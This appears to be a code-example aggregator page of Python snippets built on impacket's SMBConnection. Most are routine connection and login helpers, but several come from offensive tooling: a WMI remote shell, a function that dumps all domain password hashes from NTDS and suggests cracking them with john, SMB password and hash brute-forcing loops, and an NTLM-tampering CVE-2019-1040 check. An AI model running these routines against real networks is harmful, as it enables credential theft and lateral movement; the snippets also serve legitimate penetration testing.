Ejemplo n.º 1
9
    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
        try:
            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
        except Exception as exc:
            LOG.debug("SMB connection to %r on port 445 failed,"
                      " trying port 139 (%s)", host, exc)

            try:
                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
            except Exception as exc:
                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
                          host, exc)
                return None, None

        dialect = {SMB_DIALECT: "SMBv1",
                   SMB2_DIALECT_002: "SMBv2.0",
                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")

        # we know this should work because the WMI connection worked
        try:
            smb.login(username, password, '', lm_hash, ntlm_hash)
        except Exception as exc:
            LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s",
                      host, username, password, lm_hash, ntlm_hash, exc)
            return None, dialect

        smb.setTimeout(timeout)
        return smb, dialect
Ejemplo n.º 2
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = StringIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = gpttmpl_path_split[2]
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)

        try:
            content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '')
        except UnicodeDecodeError:
            content = content_io.getvalue().replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                setattr(gpttmpl_final, section_name, Policy(list()))
            elif '=' in l:
                property_name, property_values = [x.strip() for x in l.split('=')]
                if ',' in property_values:
                    property_values = property_values.split(',')
                setattr(getattr(gpttmpl_final, section_name), property_name, property_values)

        return gpttmpl_final
Ejemplo n.º 3
0
class Pipes(Thread):
    def __init__(self, transport, pipe, permissions, TGS=None, share=None):
        Thread.__init__(self)
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.TGS = TGS
        self.daemon = True

    def connectPipe(self):
        try:
            lock.acquire()
            global dialect
            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            self.server.login(user, passwd, domain, lm, nt)
            lock.release()
            self.tid = self.server.connectTree('IPC$') 

            self.server.waitNamedPipe(self.tid, self.pipe)
            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
            self.server.setTimeout(1000000)
        except:
            print "[!] Something wen't wrong connecting the pipes(%s), try again" % self.__class__
Ejemplo n.º 4
0
    def enum_host_info(self):
        try:
            smb_conn = SMBConnection(self.host, self.host, None)
            try:
                smb_conn.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.domain = smb_conn.getServerDomain()
            self.hostname = smb_conn.getServerName()

            self.logger.extra['hostname'] = self.hostname

            try:
                smb_conn.logoff()
            except:
                pass

        except Exception as e:
            logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname
Ejemplo n.º 5
0
    def run(self, addr):
        if self.__noOutput is False:
            try:
                smbConnection = SMBConnection(addr, addr)
                if self.__doKerberos is False:
                    smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
                else:
                    smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                                self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

                dialect = smbConnection.getDialect()
                if dialect == SMB_DIALECT:
                    logging.info("SMBv1 dialect used")
                elif dialect == SMB2_DIALECT_002:
                    logging.info("SMBv2.0 dialect used")
                elif dialect == SMB2_DIALECT_21:
                    logging.info("SMBv2.1 dialect used")
                else:
                    logging.info("SMBv3.0 dialect used")
            except Exception as e:
                return e
                sys.stdout.flush()
                sys.exit(1)
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt), e:
            global totalOutput
            totalOutput=str(e)
            #logging.error(str(e))
            try:
                if smbConnection is not None:
                    smbConnection.logoff()
            except:
                pass
            try:
                dcom.disconnect()
            except:
                pass
            sys.stdout.flush()
            return str(e)
Ejemplo n.º 6
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception, e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')
Ejemplo n.º 7
0
 def connect_to_server(ip, credentials):
     """
     Connects to server using given credentials
     :param ip:          IP of server
     :param credentials: credentials to log in with
     :return:            SMBConnection object representing the connection
     """
     smb_client = SMBConnection(ip, ip)
     smb_client.login(
         credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
     return smb_client
Ejemplo n.º 8
0
class RegHandler:
    def __init__(self, username, password, domain, options):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__options = options
        self.__action = options.action.upper()
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__doKerberos = options.k
        self.__kdcHost = options.dc_ip
        self.__smbConnection = None
        self.__remoteOps = None

        # It's possible that this is defined somewhere, but I couldn't find where
        self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
                            5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self, remoteName, remoteHost):
        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))

        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def run(self, remoteName, remoteHost):
        self.connect(remoteName, remoteHost)
        self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)

        try:
            self.__remoteOps.enableRegistry()
        except Exception, e:
            print str(e)
            logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
            logging.debug(str(e))
            self.__remoteOps.connectWinReg()

        try:
            dce = self.__remoteOps.getRRP()

            if self.__action == 'QUERY':
                self.query(dce, self.__options.keyName)
            else:
                logging.error('Method %s not implemented yet!' % self.__action)
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            logging.critical(str(e))
Ejemplo n.º 9
0
    def getMachineName(self):
        if self.__kdcHost is not None:
            s = SMBConnection(self.__kdcHost, self.__kdcHost)
        else:
            s = SMBConnection(self.__domain, self.__domain)
        try:
            s.login('', '')
        except Exception:
            logging.debug('Error while anonymous logging into %s' % self.__domain)

        s.logoff()
        return s.getServerName()
Ejemplo n.º 10
0
def get_machine_name(args, domain):
    if args.dc_ip is not None:
        s = SMBConnection(args.dc_ip, args.dc_ip)
    else:
        s = SMBConnection(domain, domain)
    try:
        s.login('', '')
    except Exception:
        if s.getServerName() == '':
            raise Exception('Error while anonymous logging into %s' % domain)
    else:
        s.logoff()
    return s.getServerName()
Ejemplo n.º 11
0
    def getMachineName(self):
        if self.__kdcHost is not None:
            s = SMBConnection(self.__kdcHost, self.__kdcHost)
        else:
            s = SMBConnection(self.__domain, self.__domain)
        try:
            s.login('', '')
        except Exception:
            logging.debug('Error while anonymous logging into %s' %
                          self.__domain)

        s.logoff()
        return s.getServerName()
Ejemplo n.º 12
0
def connect(host, port, user, passwd, hash, domain="workgroup"):
    result = {}
    try:
        smb = SMBConnection(host, host, None, port, timeout=2)
        guest = False

        try:
            smb.login('', '')
            guest = True
            result.update({
                'auth': 'guest',
            })
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        try:
            lmhash = ''
            nthash = ''
            if hash:
                lmhash, nthash = hash.split(':')

            if user and (passwd or lmhash or nthash):
                smb.login(user, passwd, domain, lmhash, nthash)

                if not guest:
                    result.update({
                        'auth': user,
                    })

            result.update({
                'os': smb.getServerOS(),
                'name': smb.getServerName(),
                'shares': [],
            })

            for share, perm in _listShares(smb, passwd).iteritems():
                result['shares'].append((share, perm))

            smb.logoff()

        except SessionError as e:
            result['error'] = str(e)

        except Exception as e:
            result['error'] = str(e)

    except Exception as e:
        result['error'] = str(e)

    return result
Ejemplo n.º 13
0
class Pipes(Thread):
    def __init__(self, transport, pipe, permissions, share=None):
        Thread.__init__(self)
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.daemon = True

    def connectPipe(self):
        try:
            lock.acquire()
            global dialect
            #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
            self.server = SMBConnection(
                '*SMBSERVER',
                self.transport.get_smb_connection().getRemoteHost(),
                sess_port=self.port,
                preferredDialect=dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            if self.transport.get_kerberos() is True:
                self.server.kerberosLogin(user,
                                          passwd,
                                          domain,
                                          lm,
                                          nt,
                                          aesKey,
                                          kdcHost=self.transport.get_kdcHost(),
                                          TGT=TGT,
                                          TGS=TGS)
            else:
                self.server.login(user, passwd, domain, lm, nt)
            lock.release()
            self.tid = self.server.connectTree('IPC$')

            self.server.waitNamedPipe(self.tid, self.pipe)
            self.fid = self.server.openFile(self.tid,
                                            self.pipe,
                                            self.permissions,
                                            creationOption=0x40,
                                            fileAttributes=0x80)
            self.server.setTimeout(1000000)
        except:
            logging.error(
                "Something wen't wrong connecting the pipes(%s), try again" %
                self.__class__)
Ejemplo n.º 14
0
class DRSUAPIOps:
    def __init__(self, target, username, password):
        self.target = target
        self.username = username
        self.password = password

    def run(self):
        while True:
            try:
                self.__smbConnection = SMBConnection(remoteName=self.target,
                                                     remoteHost=self.target)
                self.__smbConnection.login(self.username, self.password)

                self.__remoteOps = RemoteOperations(self.__smbConnection,
                                                    False, None)
                enumerationContext = 0
                status = STATUS_MORE_ENTRIES
                while status == STATUS_MORE_ENTRIES:
                    resp = self.__remoteOps.getDomainUsers(enumerationContext)

                    for user in resp['Buffer']['Buffer']:
                        userName = user['Name']
                        #print('userName : %s' % userName)

                        userSid = self.__remoteOps.ridToSid(user['RelativeId'])
                        crackedName = self.__remoteOps.DRSCrackNames(
                            drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
                            drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
                            name=userSid.formatCanonical())

                        if crackedName['pmsgOut']['V1']['pResult'][
                                'cItems'] == 1:
                            if crackedName['pmsgOut']['V1']['pResult'][
                                    'rItems'][0]['status'] != 0:
                                break
                            userRecord = self.__remoteOps.DRSGetNCChanges(
                                crackedName['pmsgOut']['V1']['pResult']
                                ['rItems'][0]['pName'][:-1])
                            # userRecord.dump()
                            replyVersion = 'V%d' % userRecord['pdwOutVersion']

                    enumerationContext = resp['EnumerationContext']
                    status = resp['ErrorCode']
            except Exception as e:
                if str(e).find('STATUS_PIPE_NOT_AVAILABLE') != -1:
                    continue
                elif str(e).find('STATUS_PIPE_CLOSING') != -1:
                    print('Server is restarting prolly now...')
                    return
                raise e
Ejemplo n.º 15
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Ejemplo n.º 16
0
def get_session(address,
                target_ip="",
                username="",
                password="",
                lmhash="",
                nthash="",
                domain=""):
    try:
        smb_session = SMBConnection(address, target_ip)
        smb_session.login(username, password, domain, lmhash, nthash)
        return smb_session
    except Exception as e:
        logging.error("Connection error")
        return False
Ejemplo n.º 17
0
def copy_from(target, source_path, target_path, share="c$"):
    username, password, domain, nthash = target.creds
    lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
    try:
        smb = SMBConnection(remoteName='*SMBSERVER',
                            remoteHost=target.target_ip,
                            sess_port=target.target_port)
        smb.login(username, password, domain, lmhash, nthash)
        with open(target_path, 'wb') as f:
            smb.getFile(share, source_path.replace('/', '\\'), f.write)
        return True
    except Exception as e:
        print(str(e))
        return False
Ejemplo n.º 18
0
    def test_smbserver_login(self):
        """Test authentication using password and LM/NTHash login.
        """
        server = self.get_smbserver()
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        self.start_smbserver(server)

        # Valid password login
        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)
        client.close()

        # Valid hash login
        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash)
        client.close()

        # Invalid password login
        with self.assertRaises(SessionError):
            client = SMBConnection(self.address,
                                   self.address,
                                   sess_port=int(self.port))
            client.login(self.username, 'SomeInvalidPassword')
            client.close()

        # Invalid username login
        with self.assertRaises(SessionError):
            client = SMBConnection(self.address,
                                   self.address,
                                   sess_port=int(self.port))
            client.login("InvalidUser",
                         "",
                         lmhash=self.lmhash,
                         nthash=self.nthash)
            client.close()

        # Invalid hash login
        with self.assertRaises(SessionError):
            client = SMBConnection(self.address,
                                   self.address,
                                   sess_port=int(self.port))
            client.login(self.username,
                         "",
                         lmhash=self.nthash,
                         nthash=self.lmhash)
            client.close()
Ejemplo n.º 19
0
    def login(self, ipaddress, port, user_passwd_pair_list):
        for user_passwd_pair in user_passwd_pair_list:
            try:
                fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout)
            except Exception as E:
                logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port))
                return
            try:
                if "\\" in user_passwd_pair[0]:
                    domain = user_passwd_pair[0].split("\\")[0]
                    username = user_passwd_pair[0].split("\\")[1]
                else:
                    domain = ""
                    username = user_passwd_pair[0]

                if fp.login(username, user_passwd_pair[1], domain=domain):
                    if fp.isGuestSession() == 0:
                        if domain == "":
                            log_success("SMB", ipaddress, port, user_passwd_pair)
                        else:
                            log_success("SMB", ipaddress, port,
                                        ["{}\\{}".format(domain, username), user_passwd_pair[1]])

            except Exception as E:
                logger.debug('AuthenticationException: %s' % E)
            finally:
                fp.getSMBServer().get_socket().close()
Ejemplo n.º 20
0
    def login_with_hash(self, ipaddress, port, hashes):

        user_hash_pair_list = []
        for hash in hashes:
            user_hash_pair_list.append(hash.strip().split(","))

        for user_hash_pair in user_hash_pair_list:
            try:
                fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout)
            except Exception as E:
                logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port))
                return
            try:
                if fp.login(user_hash_pair[1], "",
                            domain=user_hash_pair[0],
                            lmhash=user_hash_pair[2].split(":")[0],
                            nthash=user_hash_pair[2].split(":")[1]):
                    if fp.isGuestSession() == 0:
                        log_success("SMB", ipaddress, port, [
                            "{}/{}".format(user_hash_pair[0], user_hash_pair[1]),
                            user_hash_pair[2]
                        ])

            except Exception as E:
                logger.debug('AuthenticationException: %s' % E)
            finally:
                fp.getSMBServer().get_socket().close()
Ejemplo n.º 21
0
    def run(self, addr):
        smbConnection = SMBConnection(addr, addr)
        smbConnection.login(self.__username, self.__password, self.__domain,
                            self.__lmhash, self.__nthash)

        dialect = smbConnection.getDialect()
        if dialect == SMB_DIALECT:
            logging.debug("%sSMBv1 dialect used" % (debugBlue))
        elif dialect == SMB2_DIALECT_002:
            logging.debug("%sSMBv2.0 dialect used" % (debugBlue))
        elif dialect == SMB2_DIALECT_21:
            logging.debug("%sSMBv2.1 dialect used" % (debugBlue))
        else:
            logging.debug("%sSMBv3.0 dialect used" % (debugBlue))

        return smbConnection
Ejemplo n.º 22
0
def getNTDSInfo(user, password, domain, ip):
    print("[*] Trying to dump Domain users hashes...")
    conn = SMBConnection(ip, ip, None, 445)
    if conn.login(user, password, domain):
        print("[+] Successful SMB connection to the DC")
    r = RemoteOperations(conn, True)
    r.enableRegistry()
    bootkey = r.getBootKey()
    print("[*] Creating and parsing NTDS...")
    NTDSFileName = r.saveNTDS()
    NTDS = NTDSHashes(NTDSFileName, bootkey, isRemote=True, history=False, noLMHash=False, remoteOps=r, useVSSMethod=True, resumeSession=None, printUserStatus=False, outputFileName='DOMAIN_HASHES')
    print("[+] Success")
    print("[*] Dumping hashes from NTDS (could take a while)...")
    NTDS.dump()
    NTDS.finish()
    r.finish()
    conn.close()
    os.rename("DOMAIN_HASHES.ntds", "DOMAIN_HASHES.txt")
    os.remove("DOMAIN_HASHES.ntds.kerberos")
    if os.stat("DOMAIN_HASHES.ntds.cleartext").st_size == 0:
        os.remove("DOMAIN_HASHES.ntds.cleartext")
    else:
        print("[+] Cleartext passwords founds ! look in the file DOMAIN_HASHES.ntds.cleartext")
    print("[+] Successful dump of the users hashes in DOMAIN_HASHES.txt")
    print("You can use 'john --format=NT DOMAIN_HASHES.txt' to crack passwords and 'john --format=NT --show DOMAIN_HASHES.txt | cut -d: -f 1,2 > JOHN_RESULT.txt' when you finished")
Ejemplo n.º 23
0
    def _get_netfqdn(self):
        try:
            smb = SMBConnection(self._domain_controller,
                                self._domain_controller)
        except socket.error:
            return str()

        smb.login(self._user,
                  self._password,
                  domain=self._domain,
                  lmhash=self._lmhash,
                  nthash=self._nthash)
        fqdn = smb.getServerDNSDomainName()
        smb.logoff()

        return fqdn
Ejemplo n.º 24
0
def login(username, password, domain, lmhash, nthash, aesKey, dc_ip, target_ip,
          port):
    try:
        smbClient = SMBConnection(target_ip, target_ip, sess_port=int(port))
        if aesKey:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash,
                                    aesKey, dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)
        print("[+]Success %s\%s" % (domain, username))
        SMBConnection.close
    except smbconnection.SessionError as e:
        return
    except Exception as e:
        print(e)
        return
Ejemplo n.º 25
0
 def connect_to_server(ip, credentials):
     """
     Connects to server using given credentials
     :param ip:          IP of server
     :param credentials: credentials to log in with
     :return:            SMBConnection object representing the connection
     """
     smb_client = SMBConnection(ip, ip)
     smb_client.login(
         credentials["username"],
         credentials["password"],
         "",
         credentials["lm_hash"],
         credentials["ntlm_hash"],
     )
     return smb_client
Ejemplo n.º 26
0
 def validate_creds(self, remote_host):
     try:
         smbClient = SMBConnection(
             remote_host, remote_host, sess_port=int(
                 self.__port))  #, preferredDialect=SMB2_DIALECT_21
         smbClient.login(self.__username, self.__password, self.__domain,
                         self.__lmhash, self.__nthash)
     except SessionError as exc:
         if 'STATUS_LOGON_FAILURE' in str(exc):
             logging.error(
                 'Error validating credentials - make sure the supplied credentials are correct'
             )
         else:
             logging.warning(
                 'Unexpected Exception while validating credentials: %s',
                 exc)
         raise KeyboardInterrupt
Ejemplo n.º 27
0
 def test_server(self, ip=None, port=None, username=None, password=None):
     try:
         sleep(2)
         _ip = ip or self.ip
         _port = port or self.port
         _username = username or self.username
         _password = password or self.password
         smb_client = SMBConnection(_ip, _ip, sess_port=_port)
         smb_client.login(_username, _password)
     except Exception as e:
         self.logs.error([
             "errors", {
                 'server': 'smb_server',
                 'error': 'write',
                 "type": "error -> " + repr(e)
             }
         ])
Ejemplo n.º 28
0
    def check(self, remote_host):
        # Validate credentials first
        if not self.creds_validated:
            self.validate_creds(remote_host)
            self.creds_validated = True

        # Now start scanner
        try:
            smbClient = SMBConnection(
                remote_host, remote_host, sess_port=int(
                    self.__port))  #, preferredDialect=SMB2_DIALECT_21
        except:
            return
        try:
            # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked
            # by using cve-2019-1040 can logic
            if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]:
                ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2
            if self.__vuln == "CVE-2019-1166":
                ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2
            if self.__vuln == "CVE-2019-1338":
                ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2
            smbClient.login(self.__username, self.__password, self.__domain,
                            self.__lmhash, self.__nthash)
            logging.info(
                'Target %s is VULNERABLE to %s (authentication was accepted)',
                remote_host, self.__vuln)
        except SessionError as exc:
            if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [
                    "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166"
            ]:
                logging.info(
                    'Target %s is not vulnerable to %s (authentication was rejected)',
                    remote_host, self.__vuln)
            elif 'STATUS_LOGON_FAILURE' in str(
                    exc) and self.__vuln == "CVE-2019-1338":
                logging.info(
                    'Target %s is not vulnerable to %s (authentication was rejected)',
                    remote_host, self.__vuln)
            else:
                logging.warning(
                    'Unexpected Exception while authenticating to %s: %s',
                    remote_host, exc)

        smbClient.close()
Ejemplo n.º 29
0
    def create_smb_connection(self, force=False):
        if self._smb_conn and not force:
            return self._smb_conn

        key = None

        if self._use_cache and not force:
            key = self._cache_key_entry()
            if key in SMB_SESSIONS_CACHE:
                self._smb_conn = SMB_SESSIONS_CACHE[key]
                self._cached = True
                return self._smb_conn

        try:
            smb = SMBConnection(
                self.host, self.host, None, self.port, timeout=self.timeout
            )

            if self.kerberos:
                smb.kerberos_login(
                    self.user, self.password,
                    self.domain, self.lm, self.nt,
                    self.aes, self.KDC, self.TGT, self.TGS)
            else:
                smb.login(self.user, self.password, self.domain, self.lm, self.nt)

            self.valid = True

            add_cred(
                self.user, self.password, self.domain, 'smb',
                self.host, None, self.port,
                ntlm=self.ntlm, aes=self.aes,
                tgt=self.TGT, tgs=self.TGS, kdc=self.KDC
            )

            if not force:
                self._smb_conn = smb

            if key is not None and not force:
                SMB_SESSIONS_CACHE[key] = self._smb_conn

            return smb

        except SessionError, e:
            raise PsExecException(e.getErrorString()[0])
Ejemplo n.º 30
0
    def new_smb_connection(host,
                           username,
                           password,
                           lm_hash="",
                           ntlm_hash="",
                           timeout=60):
        try:
            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
        except Exception as exc:
            LOG.debug(
                "SMB connection to %r on port 445 failed,"
                " trying port 139 (%s)", host, exc)

            try:
                smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139)
            except Exception as exc:
                LOG.debug(
                    "SMB connection to %r on port 139 failed as well (%s)",
                    host, exc)
                return None, None

        dialect = {
            SMB_DIALECT: "SMBv1",
            SMB2_DIALECT_002: "SMBv2.0",
            SMB2_DIALECT_21: "SMBv2.1",
        }.get(smb.getDialect(), "SMBv3.0")

        # we know this should work because the WMI connection worked
        try:
            smb.login(username, password, "", lm_hash, ntlm_hash)
        except Exception as exc:
            LOG.debug(
                "Error while logging into %r using user: %s, password (SHA-512): '%s', "
                "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
                host,
                username,
                Configuration.hash_sensitive_data(password),
                Configuration.hash_sensitive_data(lm_hash),
                Configuration.hash_sensitive_data(ntlm_hash),
                exc,
            )
            return None, dialect

        smb.setTimeout(timeout)
        return smb, dialect
Ejemplo n.º 31
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise 'Error while anonymous logging into %s'
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Ejemplo n.º 32
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise Exception('Error while anonymous logging into %s')
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Ejemplo n.º 33
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = BytesIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = self._domain_controller
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        if self._do_kerberos:
            smb_connection.kerberosLogin(self._user, self._password,
                                         self._domain, self._lmhash,
                                         self._nthash)
        else:
            smb_connection.login(self._user, self._password, self._domain,
                                 self._lmhash, self._nthash)

        self._logger.debug('Get File: Share = {0}, file_name ={1}'.format(
            share, file_name))
        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)
        try:
            content = content_io.getvalue().decode('utf-16le')[1:].replace(
                '\r', '')
        except UnicodeDecodeError:
            self._logger.warning('Unicode error: trying utf-8')
            content = content_io.getvalue().decode('utf-8').replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                gpttmpl_final._attributes_dict[section_name] = Policy(list())
            elif '=' in l:
                property_name, property_values = [
                    x.strip() for x in l.split('=')
                ]
                if ',' in property_values:
                    property_values = property_values.split(',')
